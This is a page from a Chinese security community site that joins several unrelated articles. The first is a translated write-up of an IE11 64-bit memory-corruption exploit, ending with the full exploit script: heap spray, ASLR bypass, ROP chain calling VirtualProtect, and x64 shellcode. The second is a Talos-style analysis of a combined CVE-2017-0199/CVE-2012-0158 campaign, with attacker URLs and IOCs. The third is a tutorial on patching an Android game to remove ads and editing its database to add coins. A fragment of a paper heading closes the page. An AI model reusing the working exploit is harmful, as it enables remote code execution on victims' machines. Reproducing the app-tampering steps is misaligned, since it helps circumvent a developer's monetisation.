**第二点，对象在堆上的对齐**
虽然在Windows
8以上版本（低碎片堆）的默认堆的实现中包含了几个缓解措施如页面保护和分配顺序随机化，这使得获得所需的对齐更加困难。但是在IE11中基本的JavaScript对象（例如Array对象和String对象）使用的是没有这些功能的自定义堆。
我接下来会描述我观察到的这个JavaScript堆的具体实现。请注意，以下所有内容都是基于对行为的观察，而不是通过逆向工程代码，因此我可能会做出一些错误的结论，但在exp中它确实是这样工作的。
JavaScript对象的空间以0x20000字节的块为单位进行分配。如果需要更多的空间，将分配额外的块，并且没有什么可以阻止这些块彼此相邻（因此，一个块中的溢出理论上可以写入到另一个块中）。
这些块进一步划分为0x1000字节的bins（至少对于小对象）。一个bin只保存相同大小和类型的对象。例如，在这个exploit中，我们分别有32和128字节的String和Array对象，一些bin只保存String对象（最多128个对象），而其中一些只保存Array对象（最多32个对象）。当一个bin被完全使用时，它只包含用户数据，而没有元数据。我还观察到对象本身存储在单独的0x20000大小的块中，并且与用户提供的内容是分开的，因此字符串和数组数据将存储在与相应的String和Array对象不同的块中，除非数据足够小才会与对象一起存储（例如，单字符字符串，小数组，如漏洞中的5元素）。
给定的bin内的对象分配顺序是顺序的。这意味着，如果我们连续创建三个String对象，并且假设在任何一个bin中没有空洞，它们将彼此相邻，第一个对象位于最低地址，后面紧跟着第二个。
**一些小技巧**
所以在这一点上，我们可以增加JavaScript数组中元素的数量。在实际操作中，我们将多次触发漏洞（在提供的exp中为5次，每次触发漏洞会将此数字加3）来使它增大。不幸的是，增加元素的数量不允许我们写数据超过缓冲区的结尾，但它允许我们读取超过结尾数据，这一点就已经足够让我们绕过ASLR了，并且可以泄漏出我们要覆盖的Array对象的精确地址。
在知道了Array对象的地址之后，我们就可以进行反复的堆喷射，但是这次，我们将使用精确值进行喷射（我使用整数数组来喷射准确的值）。我们要喷射的值将是一个数组的缓冲区地址减去0xBF1。这意味着喷射值+
0xBF4将是此块缓冲区中capacity域（表示缓冲区尺寸）的最高字节的地址。在capacity域被覆盖之后，我们就能够向JS
Array缓冲区的末尾之后读取或写入数据。
在这里，我们很容易地得到了构成现代浏览器漏洞利用的两个重要元素：任意内存地址读和劫持并控制RIP。
任意内存地址读：
我们可以通过找到Array后面的一个紧邻的String对象的内存，然后覆盖这个对象的缓冲区指针域和大小域来实现读取任意内存（如果我们想要读取更多的数据）。
控制RIP：
我们可以通过覆盖附近Array对象的虚函数表（vtable）指针并调用虚函数来控制RIP。虽然IE10为mshtml.dll中的一些类引入了虚函数表保护（vtguard），但jscript9.dll中并没有使用这样的保护。然而，请注意，在拥有了内存泄漏的情况下，即使存在vtguard保护，那也只是一个小问题。
**编写64位exp**
通过控制RIP和内存泄漏，我们将构建一个ROP链，以便击败DEP。由于我们不能控制堆栈，我们需要做的第一件事是寻找堆栈翻转（pivot）的gadgets。所以，拥有了任意内存泄漏的我们应该能够很容易的在一些可执行模块中搜索到
xchg rax，rsp;
ret;
吧？好吧，并没有这么简单。事实告诉我们，在x64中，堆栈翻转的gadgets比x86代码中要少得多。 在x86中，
xchg eax，esp;
ret;
将只有2个字节的大小，所以会有很多非预期的序列（即本身不是这两条指令，但是两个字节凑在一起恰好形成了这个指令）。在x64中
xchg rax，rsp;
是3个字节，这使它更不常见。我没有能够在mshtml.dll和jscript9.dll中找到它（或任何其他的“干净的”堆栈翻转gadgets，因此我不得不寻找一些替代品）在研究了一下mshtml.dll后，我发现了一个可用的gadgets序列如下所示，它不是很干净，但假设rax和rcx都指向一个可读的内存，这就是现在的情况。
00007ffb`265ea973 50 push rax
00007ffb`265ea974 5c pop rsp
00007ffb`265ea975 85d2 test edx,edx
00007ffb`265ea977 7408 je MSHTML!CTableLayout::GetLastRow+0x25 (00007ffb`265ea981)
00007ffb`265ea979 8b4058 mov eax,dword ptr [rax+58h]
00007ffb`265ea97c ffc8 dec eax
00007ffb`265ea97e 03c2 add eax,edx
00007ffb`265ea980 c3 ret
00007ffb`265ea981 8b8184010000 mov eax,dword ptr [rcx+184h]
00007ffb`265ea987 ffc8 dec eax
00007ffb`265ea989 c3 ret
注意，虽然在序列中存在条件跳转，但是两个分支都以RET结束，所以并不会导致崩溃，因此它们都可以达到我们的目的。虽然漏洞利用主要依赖于jscript9.dll中的对象，但是mshtml.dll模块的地址可以很容易地通过内存泄漏来获得。我们可以把一个mshtml对象放入到一个JS数组对象中去，然后我们可以读取到mshtml对象的虚表并且引用它。
在获得了栈的控制之后，我们可以调用VirtualProtect来分配一块内存，这块内存可以允许我们写入代码并进行执行。我们可以通过mshtml.dll的IAT找到VirtualProtect函数的地址（因此exp中要包含一些基本的PE结构的解析）。所以，在获得了VirtualProtect函数的地址和控制了堆栈的情况下，我们就可以把正确的参数放在堆栈上并返回调用VirtualProtect函数了，对吧？好吧，还是没有。因为在64位Windows中，使用的调用约定是与32位不同的。64位Windows使用fastcall约定，前4个参数（这正是VirtualProtect的参数数量）通过寄存器RCX，RDX，R8和R9（按此顺序）来传递。因此，我们需要一些额外的gadgets来将正确的参数加载到正确的寄存器中：
pop rcx; ret;
pop rdx; ret;
pop r8; ret;
pop r9; ret;
如上所示，前三个参数在mshtml.dll模块中是比较常见的。但是第四个不是很常见，不过对于VirtualProtect来说，最后一个参数只需要指向一个可写内存的即可，而在我们获得对RIP控制的时候就已经是这种情况了，所以我们实际上不需要更改r9。
最终的ROP链看起来像是这样：
address of pop rcx; ret;
address on the heap block with shellcode
address of pop rdx; ret;
0x1000 (size of the memory that we want to make executable)
address of pop r8; ret;
0x40 (PAGE_EXECUTE_READWRITE)
address of VirtualProtect
address of shellcode
所以，我们现在终于可以在64位的Windows 7和8执行一些x64的shellcode，比如像SkyLined的x64 calc
shellcode那样的，对不对？好吧，还是没有。Shellcode作者通常相对于兼容性来说要更注重尺寸，并且节省空间的手段往往依赖于当前操作系统版本特性，这使得它很难运行在以后的操作系统版本上。例如，出于兼容性原因，Windows7和8存储PEB，模块信息结构以及地址低于2G的ntdll和kernel32模块。但是这在Windows
8.1预览版中不再成立。此外，虽然Windows x64
fastcall调用约定需要在堆栈上留下32字节的影子空间以调用函数，但是SkyLined的win64-exec-calc-shellcode在调用WinExec之前只需要空余出8个字节。虽然这个shellcode可以在Windows7和Windows8上工作，但是在Windows
8.1预览版上这将导致存储在栈上的字符串（“calc”）被覆盖，因为它被存储在了WinExec的阴影空间中。为了解决这些兼容性问题，我对shellcode进行了修改，并且使用在我提供的exp中。它现在应该可以在Windows
8.1上正常工作了。
就像图片展示的这样，最后我们可以成功执行shellcode，从而证明了可以进行任意代码执行。因为IE只有在触摸屏模式下是完全64位的，我没有一个漂亮的Windows计算器的屏幕截图（计算显示在桌面上）。但我确实有一个IE强制载入64位进程的桌面屏幕截图。
完整的漏洞利用代码可以在本文的末尾找到。
**结论**
虽然Windows8/8.1包含了令人印象深刻的漏洞缓解措施，但是内存破坏类漏洞仍然存活着并且可以被利用。很明显，一些漏洞类型可能变得更加难以利用，但是这里讲的这个漏洞是我发现的第一个IE11的漏洞，可能有更多的漏洞可以以类似的方式被利用。该漏洞还表明，在某些情况下，即使在64位进程中堆喷射仍然有用。虽然在一些情况下，编写在x64上的漏洞利用比在x86上更加困难（例如要找到进行喷射的内容和要覆写的东西，查找堆栈翻转的gadgets等），但这些困难并不足以阻止一个目的明确的攻击者。
最后，基于我所知道的一些东西，我列出了一些可以使在Windows 8.1的IE11中编写exp更困难的保护方法：
考虑到攻击者使用JavaScript数组来突破堆喷射保护，可以对包含大量重复值的数组进行RLE编码。
对JavaScript堆添加与默认堆相同的保护，如添加页保护（guard pages）并引入地址随机化。
对常见的JavaScript对象的虚函数表进行保护。
对编译器进行更改以从代码中删除所有的可用的堆栈翻转gadgets。其实现在这些gadgets在x64代码中已经很少了，所以不会对性能有很大的影响。
**exp 代码**
<script>
var magic = 25001; //if the exploit doesn't work for you try selecting another number in the range 25000 -/+ 128
var strarr = new Array();
var arrarr = new Array();
var sprayarr = new Array();
var numsploits;
var addrhi,addrlo;
var arrindex = -1;
var strindex = -1;
var strobjidx = -1;
var mshtmllo,mshtmlhi;
//calc shellcode, based on SkyLined's x64 calc shellcode, but fixed to work on win 8.1
var shellcode = [0x40, 0x80, 0xe4, 0xf8, 0x6a, 0x60, 0x59, 0x65, 0x48, 0x8b, 0x31, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x4f, 0x3c, 0x8b, 0x5c, 0x0f, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x4c, 0x1f, 0x24, 0x48, 0x01, 0xf9, 0x31, 0xd2, 0x0f, 0xb7, 0x2c, 0x51, 0xff, 0xc2, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xf0, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x31, 0xd2, 0x48, 0x83, 0xec, 0x28, 0xff, 0xd7, 0xcc, 0, 0, 0, 0];
//triggers the bug
function crash(i) {
numsploits = numsploits + 1;
t = document.getElementsByTagName("table")[i];
t.parentNode.runtimeStyle.posWidth = -1;
t.focus();
setTimeout(cont, 100);
}
//heap spray
function spray() {
var aa = "aa";
//create a bunch of String and Array objects
for(var i=0;i<50000;i++) {
strarr[i] = aa.toUpperCase();
arrarr[i] = new Array(1,2,3,4,5);
}
//heap-spray with pointers to a String object
for(var i=0;i<2000;i++) {
var tmparr = new Array(16000);
for(var j=0;j<16000;j++) {
tmparr[j] = strarr[magic];
}
sprayarr[i] = tmparr;
}
crash(0);
}
function cont() {
if(numsploits < 5) {
crash(numsploits);
return;
}
if(numsploits < 6) {
setTimeout(afterFirstOverwrite, 0);
return;
}
//alert("done2");
afterSecondOverwrite();
}
function afterFirstOverwrite() {
//check which array was overwritten
for(var i=24000;i<25000;i++) {
arrarr[i][18] = 1;
var a = arrarr[i][4];
var b = arrarr[i][16];
var c = arrarr[i][17];
if(typeof(b)!="undefined") {
arrindex = i;
addrlo = b;
addrhi = c;
break;
}
}
if(arrindex < 0) {
alert("Exploit failed, error overwriting array");
return;
}
//alert(arrindex);
//re-spray to overwrite buffer capacity
for(var i=0;i<2000;i++) {
sprayarr[i] = new Array(32000);
}
CollectGarbage();
for(var i=0;i<2000;i++) {
for(var j=0;j<32000;j++) {
if(j%2 == 0) {
sprayarr[i][j] = addrlo + 8 - 0xBF4 + 3;
} else {
sprayarr[i][j] = addrhi;
}
}
}
//alert("done");
crash(numsploits);
}
//unsigned to signed conversion
function u2s(i) {
if(i>0x80000000) {
return -(0xFFFFFFFF - i + 1);
} else {
return i;
}
}
//signed to unsigned conversion
function s2u(i) {
if(i<0) {
return (0xFFFFFFFF + i + 1);
} else {
return i;
}
}
//memory disclosure helper function, read 32-bit number from a given address
function read32(addrhi, addrlo) {
arrarr[arrindex][strobjidx + 6] = u2s(addrlo);
arrarr[arrindex][strobjidx + 7] = addrhi;
return strarr[strindex].charCodeAt(0) + 0x10000 * strarr[strindex].charCodeAt(1);
}
//memory disclosure helper function, read 16-bit number from a given address
function read16(addrhi, addrlo) {
arrarr[arrindex][strobjidx + 6] = u2s(addrlo);
arrarr[arrindex][strobjidx + 7] = addrhi;
return strarr[strindex].charCodeAt(0);
}
function afterSecondOverwrite() {
arrindex = arrindex + 1;
//adjusts the array length - gives us some space to read and write memory
arrarr[arrindex][2+0x5000/4] = 0;
//search for the next string object and overwrite its length and content ptr to write jscript9
for(var i=1;i<=5;i++) {
if((arrarr[arrindex][2 + i*0x400 - 0x20] == 2) && (arrarr[arrindex][3 + i*0x400 - 0x20] == 0)) {
//alert("found");
strobjidx = i*0x400 - 0x20 - 2;
arrarr[arrindex][strobjidx+4] = 4;
for(var j=20000;j<30000;j++) {
if(strarr[j].length != 2) {
strindex = j;
break;
}
}
break;
}
}
if(strindex < 0) {
alert("Exploit failed, couldn't overwrite string length");
return;
}
//alert("mshtml");
//create a mshtml object and follow references to its vtable ptr
var lo1,hi1,lo2,hi2;
arrarr[arrindex+1][0] = document.createElement("button");
lo1 = s2u(arrarr[arrindex][6+0x28/4]);
hi1 = arrarr[arrindex][6+0x28/4 + 1];
lo2 = read32(hi1, lo1+0x18);
hi2 = read32(hi1, lo1+0x18+4);
mshtmllo = read32(hi2, lo2+0x20);
mshtmlhi = read32(hi2, lo2+0x20+4);
//find the module base
mshtmllo = mshtmllo - mshtmllo % 0x1000;
while(mshtmllo>0) {
if(read16(mshtmlhi,mshtmllo) == 0x5A4D) break;
mshtmllo = mshtmllo - 0x1000;
}
//find the address of VirtualProtect in the IAT
var coff = read32(mshtmlhi, mshtmllo + 0x3C);
var idata = read32(mshtmlhi, mshtmllo + coff + 4 + 20 + 120);
var iat = read32(mshtmlhi, mshtmllo + idata + 16);
var vplo = read32(mshtmlhi, mshtmllo + iat + 0x8a8);
var vphi = read32(mshtmlhi, mshtmllo + iat + 0x8a8 + 4);
//alert(mshtmlhi.toString(16)+"'"+mshtmllo.toString(16)+","+vplo.toString(16));
//find the rop gadgets in mshtml
var pivotlo = -1;
arrarr[arrindex][strobjidx + 4] = 0x01000000;
arrarr[arrindex][strobjidx + 6] = u2s(mshtmllo);
arrarr[arrindex][strobjidx + 7] = mshtmlhi;
for(var i=0x800;i<0x900000;i++) {
if((strarr[strindex].charCodeAt(i) == 0x5C50)
&&(strarr[strindex].charCodeAt(i+1) == 0xD285)
&&(strarr[strindex].charCodeAt(i+2) == 0x0874)
&&(strarr[strindex].charCodeAt(i+3) == 0x408b))
{
pivotlo = mshtmllo + i*2;
break;
}
if((strarr[strindex].charCodeAt(i) == 0x508B)
&&(strarr[strindex].charCodeAt(i+1) == 0x855C)
&&(strarr[strindex].charCodeAt(i+2) == 0x74D2)
&&(strarr[strindex].charCodeAt(i+3) == 0x8b08))
{
pivotlo = mshtmllo + i*2 + 1;
break;
}
}
if(pivotlo < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
//alert(pivotlo.toString(16));
var poprcx = -1;
for(var i=0x800;i<0x900000;i++) {
if(strarr[strindex].charCodeAt(i) == 0xC359) {
poprcx = mshtmllo + i*2;
break;
}
}
if(poprcx < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
var poprdx = -1;
for(var i=0x800;i<0x900000;i++) {
if(strarr[strindex].charCodeAt(i) == 0xC35A) {
poprdx = mshtmllo + i*2;
break;
}
}
if(poprdx < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
var popr8 = -1;
for(var i=0x800;i<0x900000;i++) {
if((strarr[strindex].charCodeAt(i) == 0x5841) && (strarr[strindex].charCodeAt(i+1) % 256 == 0xC3)) {
popr8 = mshtmllo + i*2;
break;
}
if((Math.floor(strarr[strindex].charCodeAt(i)/256) == 0x41) && (strarr[strindex].charCodeAt(i+1) == 0xC358)) {
popr8 = mshtmllo + i*2 + 1;
break;
}
}
if(popr8 < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
//prepare the fake vtable
var eaxoffset = 6 + 0x20;
arrarr[arrindex][eaxoffset + 0x98/4] = u2s(pivotlo);
arrarr[arrindex][eaxoffset + 0x98/4 + 1] = mshtmlhi;
//prepare the fake stack
arrarr[arrindex][eaxoffset] = u2s(poprcx);
arrarr[arrindex][eaxoffset + 1] = mshtmlhi;
arrarr[arrindex][eaxoffset + 2] = addrlo;
arrarr[arrindex][eaxoffset + 3] = addrhi;
arrarr[arrindex][eaxoffset + 4] = u2s(poprdx);
arrarr[arrindex][eaxoffset + 5] = mshtmlhi;
arrarr[arrindex][eaxoffset + 6] = 0x1000;
arrarr[arrindex][eaxoffset + 7] = 0;
arrarr[arrindex][eaxoffset + 8] = u2s(popr8);
arrarr[arrindex][eaxoffset + 9] = mshtmlhi;
arrarr[arrindex][eaxoffset + 10] = 0x40;
arrarr[arrindex][eaxoffset + 11] = 0;
arrarr[arrindex][eaxoffset + 12] = u2s(vplo);
arrarr[arrindex][eaxoffset + 13] = u2s(vphi);
arrarr[arrindex][eaxoffset + 14] = addrlo + 24 + eaxoffset*4 + 50*4;
arrarr[arrindex][eaxoffset + 15] = addrhi;
//encode the shellcode
for(var i=0;i<Math.floor(shellcode.length/4);i++) {
arrarr[arrindex][eaxoffset + 50 + i] = u2s(shellcode[i*4+3]*0x1000000 + shellcode[i*4+2]*0x10000 + shellcode[i*4+1]*0x100 + shellcode[i*4]);
}
//overwrite a vtable of jscript9 object and trigger a virtual call
arrarr[arrindex][7] = addrhi;
arrarr[arrindex][6] = addrlo + 24 + eaxoffset*4;
//arrarr[arrindex][7] = 0x123456;
//arrarr[arrindex][6] = 0x123456;
//alert("done3");
arrarr[arrindex+1].blah();
}
function run() {
numsploits = 0;
window.setTimeout(spray, 1000);
}
</script>
<body onload=run()>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
</body> | 社区文章 |
# 【技术分享】组合攻击——漏洞利用的新尝试
|
##### 译文声明
本文是翻译文章，文章来源：blog.talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/08/when-combining-exploits-for-added.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[紫曦归来](http://bobao.360.cn/member/contribute?uid=2937531371)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
今年4月曝光的 **CVE-2017-0199**
漏洞，可在无需用户交互的情况下，直接打开Word文档就可以通过HTA脚本执行任意代码。此漏洞的成因主要是Word在处理内嵌 **OLE2LINK**
对象时，通过网络更新对象时没有正确处理 **Content-Type** 所导致的一个逻辑漏洞。
近日，Cisco
Talos团队发现，有黑客组织将CVE-2017-0199漏洞与较早前的CVE-2012-0158漏洞合并，以逃避Word的安全提示，或通过使用不同的机制以达到强制执行的目的。还有一种可能，那就是黑客仅仅是想测试一种新的漏洞概念。但无论出于哪种目的，使用组合漏洞的黑客都犯了错误而导致攻击效果远远低于预期。
通过对组合漏洞的文档载荷进行分析，研究者发现内嵌OLE2LINK对象具有被利用的潜力，除了可被用于Word文档，还可用于其他文档。但目前，大众对于这点的认识显然不够。
当前，黑客已开始寻找绕开系统发出的安全警告的方式。这篇报告详细分析了黑客如何合并CVE-2017-0199和CVE-2012-0158两个漏洞，并将其置于一条感染链之中。报告还将对组合漏洞失败的原因进行剖析。
虽然组合漏洞的攻击失败了，但这种尝试确实是一种具有开创性的新尝试。攻击者企图利用CVE-2017-0199作为“挡箭牌”，从而绕过系统提示。但从目前效果来看，这种尝试作用不大，还有待进一步完善。
**
**
**标准CVE-2017-0199漏洞利用**
标准的CVE-2017-0199漏洞利用一般包含邮件分发和一个带有嵌入式恶意脚本的假RTF文件。攻击者通过电子邮件向目标用户发送含有OLE2嵌入式链接对象的Microsoft
Word文档。
图1：标准CVE-2017-0199漏洞
当用户打开文档时， **winword.exe**
将会向远程服务器发出HTTP请求，以获得恶意HTA文件。服务器返回的文件是一个带有嵌入式恶意脚本的假RTF文件。winword.exe通过COM对象查找
**application/hta** 的文件处理程序，从而导致Microsoft
HTA应用程序（mshta.exe）加载并执行恶意脚本。恶意脚本将终止winword.exe进程，下载其余的payload，并加载诱饵文件。之所以要终止原始的winword.exe进程，是为了掩盖
**OLE2link** 生成的用户提示。该提示具体如图1所示。
图2：Word向用户发出的提示
**
**
**升级后的** **CVE** **–** **2017-0199** **漏洞**
攻击者此次对CVE-2017-0199漏洞进行了升级，黑客攻击行动最初也是从一份包含恶意程序的邮件开始的。邮件采用了一般的诱骗手段促使用户打开并阅读包含恶意程序的附件。一般此类包含恶意程序的垃圾邮件会伪装成用户合作伙伴的采购订单。
图3：发起攻击的邮件范例
邮件的附件是一个含有OLE2嵌入式链接对象的RTF文件（文件名： **hxxp://multplelabs [dot]
com/ema/order.doc** ）。在这种情况下，远程文件的mime类型不是 **application/hta** 而变为了
**application/msword** 。
在对其中一个Word样本进行研究时，研究者发现在系统显示CVE-2017-0199的系统提示之前，word会自动对下载文档转换格式。在这之后，word程序会自动暂停，并最终崩溃（如下图所示）。
图4：Word程序崩溃
Word程序的崩溃不是因CVE-2017-0199漏洞导致的，而是由于CVE-2012-0158漏洞。下图所示即MSComctlLib.ListViewCtrl.2
ActiveX的嵌入式指令，这就是典型的CVE-2012-0158漏洞。指令由一串ROP链开始，当漏洞被激活，指令就开始自动运行。在ROP链为包含其他指令的内存块设置正确的权限之后，漏洞指令的第一阶段就开始自动执行。
图5：CVE-2012-0158漏洞第一阶段的指令
CVE-2012-0158漏洞第一阶段的指令就是导致Word崩溃的罪魁祸首！但或许是因为攻击者技术方面仍存在短板，所以导致后续的漏洞运作出现问题。
该shellcode将调用数个API函数地址，通过暴力破解文件句柄号（handle
number）来遍历所有文件。这一过程将从句柄号为0的文件开始，每次递增4个句柄号打开新的文件。如果句柄存在，shellcode将利用GetFileSize
API函数检测文件大小。如果文件大小符合预期，shellcode将记录该文件，进行文件类型检测。
图6：检查文档大小和确定文档类型
漏洞指令的失误就在于，如果找到的是一个RTF文件，那么所有的条件就符合了，找到的这个RTF文件也将包含另一串指令。如果寻找到的文档类型和大小满足要求，那么下一个步骤就是读取该文档，以寻找下一串指令。但在我们的试验中，这一步就失败了，因为原始的CVE-2017-0199漏洞利用文件还储存在系统之中。这一文件满足之前提到过的几个条件。由于CVE-2017-0199漏洞利用文件先于CVE-2012-0158文件打开，CVE-2017-0199漏洞利用文件的句柄较小，这就导致他被首先读取。
图7：第一阶段指令开始搜索下一阶段指令标记
漏洞指令开始在错误的文档搜索下一个指令的标记 **0xfefefefefeffffffff** ，这就会最终导致内存保护错误（memory
protection error）。如果漏洞制造者技术更好，他就会意识到这一错误并进行相应更正。因为只要同时运行两个漏洞利用文件就会运行成功。
一个改进方法就是对单一的字节进行修改，将漏洞命令中对判断文件大小的命令修改的更加严格些，从而能在搜索时可排除对CVE-2017-0199漏洞利用文件的搜索。另一个方法，稍微有些难度，这个方法可以在指令没有在RTF文件内搜索到下一条命令标记的情况下，假定Word已经打开了符合条件的RTF文件。
如果没有其他打开的RTF文件，CVE-2012-0158漏洞就会自动执行。因此，为了保障研究的完整性，我们对剩余的部分进行了研究。
**第二阶段的shellcode**
第二阶段的shellcode要稍微复杂一些，其首先将调用 **ntdll.dll**
中的必需API函数。API函数通常被用作在计算机处于挂起状态时创建系统进程svchost.exe，以及利用最终阶段的“下载和执行”
shellcode来重写初始入口点，最终植入可执行payload。
图8：调用ntdll.dll的API函数以注入最终阶段的shellcode，同时恢复svchost.exe进程
写入svchost.exe进程的最终阶段shellcode会使用UrlDownloadToFile
API函数从C&C服务器上下载可执行文件至临时文件夹当中，并命名为此（%temp%name.exe），同时再调用ShellExecute最终注入payload。
图9：下载和执行阶段
通过监控C&C服务器的流量可以得知，此前下载的可执行payload实际为一个基于VB脚本的木马施放程序（dropper），包含有旧版Ramnit
木马，并且运行着Lokibot。Ramnit是一种非常常见的信息窃取恶意软件，能够自行复制，它同时还包含了rootkit，帮助其躲避杀毒软件检测，具有很强的隐蔽性。本篇博客文章并未对该恶意软件的这一特别部分进行深入讨论。虽然已经有些年头，但Talos团队还是能够经常碰到Ramnit家族恶意软件。在此次攻击过程中，攻击者原本可能想要发动Lokibot攻击，但其目标却恰巧阴差阳错感染了Ramnit木马。
图10：multplelabs.com网站的DNS活动情况
携带恶意软件的域名和其C&C服务器于2016年10月注册，很像是一个遭到入侵的站点，虽然该站点似乎也为其他的Lokibot攻击活动所服务。该站点的DNS活动出现了两个峰顶，说明了两次并不成功的恶意邮件活动，从这里的数据反应出，受感染系统和C&C服务器再无通信活动增多的情况。
相关的DNS活动使我们确认了自己的发现，也为该攻击活动的失败提供了证据。
**结论**
CVE-2017-0199是垃圾邮件包含恶意软件最常使用的漏洞之一。此前有研究显示，网络攻击者对其的利用频率甚至超过了CVE-2012-0158漏洞。
在本博客中，我们分析了同时合并上述两种漏洞，发动单一网络攻击时出现的情况。在此次攻击过程中，攻击者犯下了一个重大错误，即阻止了Ramnit
payload的下载和执行。
图11：组合攻击尝试的各阶段
我们十分好奇，为什么攻击者会选择将新旧两种漏洞同时进行合并？如果目标系统打有任意一个漏洞的应对补丁，这样的组合攻击手段就会被瓦解。同时，如果目标系统确实存在CVE-2012-0158漏洞，攻击者发动针对单一漏洞的攻击活动应该更加容易得手。
我们猜测，攻击者使用这种合并攻击手段，目的是为了防止Word弹出对话框，引起被攻击目标的怀疑。另一种可能是，攻击者意图通过这种手段躲避行为检测系统，从而萌生了在Word文件中组合
**Ole2Link** 以及 **HTA** 文件的设计。
此次攻击活动并不成功，说明攻击者缺乏相关测试，或者在控制阶段手法不精。然而，我们从中看出了攻击者寻求利用
CVE-2017-0199漏洞作为攻击手段，并且躲避用户察觉的试验精神。此次试验的攻击可能并未奏效，但未来的攻击中或许就会将其实现。
**IOCs**
**文件**
5ae2f13707ee38e4675ad1bc016b19875ee32312227103d6f202874d8543fc2e –
CVE-2017-0199
6a84e5fd6c9b2c1685efc7ac8d763048913bad2e767b4958e7b40b4488bacf80 –
CVE-2012-0158
**可执行文件**
351aec22d926b4fb7efc7bafae9d1603962cadf0aed1e35b1ab4aad237723474
f34e5af97ccb3574f7d5343246138daf979bfd1f9c37590e9a41f6420ddb3bb6
43624bf57a9c7ec345d786355bb56ca9f76c226380302855c61277bdc490fdfe
d4fbca06989a074133a459c284d79e979293625262a59fbd8b91825dbfbe2a13
**URLs**
hxxp://multplelabs[dot]com/ema/order.doc – CVE-2012-0158
hxxp://multplelabs[dot]com/ema/nextyl.exe – dropper
hxxp://multplelabs[dot]com/freem/50/fre.php – Lokibot C2 | 社区文章 |
* 概述
在夏日等待报道的日子总是很枯燥，闲来无事找了一个小游戏玩，可是竟然没事有事就弹广告，还不让我用里面炫酷的Model，实在是让我很憋屈，抱着烦躁的心态，苦学Android逆向三分钟，功夫不负有心人，经过长时间的学习研究，成功把这小App里面无关且枯燥的内容全部干掉。
* 前期准备工作
1.安卓模拟器，本次使用的是逍遥模拟器。
2.Fiddler，监控网络流量。
3.AndroidKiller，逆向，回编译，生成签名。
4.Jadx，配合AndroidKiller逆向，看java代码。
5.DDMS，查看Logcat日志信息。
* 使用AndroidKiller绑定模拟器
1.找到模拟器的进程ID
2.查到对应的本地端口
3.在AndroidKiller的/bin/adb目录下的adb.exe执行Connect操作
4.刷新查看是否绑定成功
* 去除APP的广告
通过AndroidManifest.xml查看到主活动页面地址
在逍遥模拟器中打开APK，发现发送了几个请求包
且服务器远程返回了几个Png文件地址，服务器返回的不管，不可控，我们通过请求的地址提取到关键字Newfeatureview，在AndroidKiller中全局搜索，可以看到这里把存入的字符串常量引用到了V4寄存器，我们可以使用#符注释掉，但如果注释掉的，我们需要修改.locals
8 ，将这个方法内的寄存器个数修改为7，因为本来前面有个Const-string，注释掉后不存在了，那就应该同时修改寄存器的个数，不然就会导致程序逻辑上报错无法运行。
修改前：
.method public run()V
.locals 8
.prologue
.line 292
const-string v4, "http://Newfeatureview.xxxxx.com/featureview/gettime/"
const/4 v5, 0x0
修改后：
.method public run()V
.locals 7
.prologue
.line 292
#const-string v4, "http://Newfeatureview.xxxxx.com/featureview/gettime/"
const/4 v5, 0x0
或者我们可以把这里的地址替换为127.0.0.1，这样不需要修改寄存器的个数，但程序获取不到服务器返回的json数据，那么烦人广告自然也不会存在。
同样的我们还可以通过限制他APP网络权限访问的方式以达到去除广告的目的，在AndroidManifest.xml里面可以看到和网络有关的三种权限
<uses-permission android:name="android.permission.INTERNET"/>//允许应用程序完全使用网络
<uses-permission android:name="android.permission.ACCESS_WIFI_STATEM，"/>//允许应用程序访问WIFI网卡的网络信息
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>//允许应用程序访问有关的网络信息
我们这里只需要去除掉ACCESS_WIFI_STATEM，ACCESS_NETWORK_STATE二种权限，删除掉android.permission.INTERNET会容易导致APP无法运行。
再次打开App发现前面烦人的广告已经消失。
* 修改游戏金币提前解锁关卡
前面通过DDMS分析了半天，发现根据关键字压根匹配不到什么信息，本来是定位到商店的包了，但是那个充值口好像不能支持，一直返回的错误包，在前面第一层判断就断了，如果改的话太复杂，要从入口点开始改很多，还得构造一道他的加密方式，传入对应的参数，狸猫换太子替换过去也不大行，于是经过翻看代码，找到个Sqllite的包，然后就怀疑可能是放在数据库里面的....
于是我又去看了一道目录结构，发现本地生成了一个test.db,
根据文件头SQLite format 3信息确定是sqllite的数据库，Copy到本机使用数据库软件打开发现存放的就是游戏内的数据信息。
这里把通关第一关的奖励值改为5201314
然后替换掉原来的db，玩一下第一关，就直接送你金币了，其他的改通关法也是类似的,False改为True即可。 | 社区文章 |
# 基于RNN的分类器利用局部特征和复杂符号序列检测隐蔽的恶意软件
|
##### 译文声明
本文是翻译文章，文章原作者 ieeexplore，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/document/8999217>
译文仅供参考，具体内容表达以及含义原文为准。
## 第一节. 导言
